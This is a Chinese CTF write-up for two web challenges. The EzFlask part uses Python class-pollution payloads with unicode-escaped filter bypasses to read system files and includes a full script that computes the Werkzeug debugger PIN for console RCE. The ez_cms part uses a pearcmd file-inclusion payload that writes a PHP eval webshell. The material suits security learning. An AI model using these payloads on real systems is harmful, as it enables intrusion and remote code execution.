前言
记错比赛日期了,下午才发现开打了,然后就现学了一个python原型链污染,最后没想到读文件算pin还没做出来ww
还是学到不少东西的
EzFlask
python原型链污染+算pin
进入题目可以直接看到源码
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
出现了merge
函数,,知道这题要利用到python原型链污染
同时发现整个源码中没有可以进行命令执行的地方,猜测要拿shell,鉴于这是flask框架,首先想到的就是算pin码
算pin码就需要读文件,这个时候我们发现源码中唯一和文件有关的就是__file__
这个全局变量
那么就尝试在/register路由中用python原型链污染来修改__file__
多次尝试发现把__init__
给过滤了,于是采用unicode编码进行绕过(记得content-type要改json)
{"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{
"__file__":""}}}
先读取一个不存在的文件来弄出报错来
得知版本是python3.10
接着读取/sys/class/net/eth0/address
返回首页读取uuidnode
转为10进制为248627341238210
然后读取/etc/machine-id
得到96cec10d3d9307792745ec3b85c89620
读取/proc/sys/kernel/random/boot_id
得到867ab5d2-4e57-4335-811b-2943c662e936
再读取/proc/self/cgroup
这里有点坑,值取docker-a3f99d993bd69471d6ba721e274e0d893da41f8a2089724c1c4107f9c5e526dd.scope
然后拼接的machine-id是把第一个和第三个拼接在一起
3.10脚本(by EDI):
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'248627341238210', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'96cec10d3d9307792745ec3b85c89620docker-a3f99d993bd69471d6ba721e274e0d893da41f8a2089724c1c4107f9c5e526dd.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
得到pin码为414-002-214
进入/console页面输入pin码即可实现命令执行获取flag
非预期 (污染_static_folder获取环境变量)
By Boogipop
unicode绕过__init__
过滤,修改_static_folder
为根目录,然后进行目录穿越
_static_folder
即静态文件的位置,我们正常只能访问这个位置下的所有文件
{"__init\u005f_":{"__globals__":{"app":{"_static_folder":"/"}}},
"username":1,
"password":1
}
然后访问/static/proc/1/environ获取环境变量
ez_cms
熊海cms+pearcmd
可以参考y4爷的博客
这题我一开始能找到任意文件读取、sql注入和垂直越权的漏洞,但是没啥用,后台文件上传也传不进马
这里利用到的是前台文件包含实现RCE的方法:pearcmd
在熊海CMS的入口文件index.php处存在文件包含
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
注意,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装
这个老CMS一定是php5版本,所以存在pearcmd
那么接下来就是最麻烦的问题了:这个pearcmd的路径不在/usr/local下而是在/usr/share下,比赛时这里能卡不少时间
知道位置接下来就是payload随便打了
?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST['cmd']);?>+/tmp/1.php
再文件包含执行一句话木马即可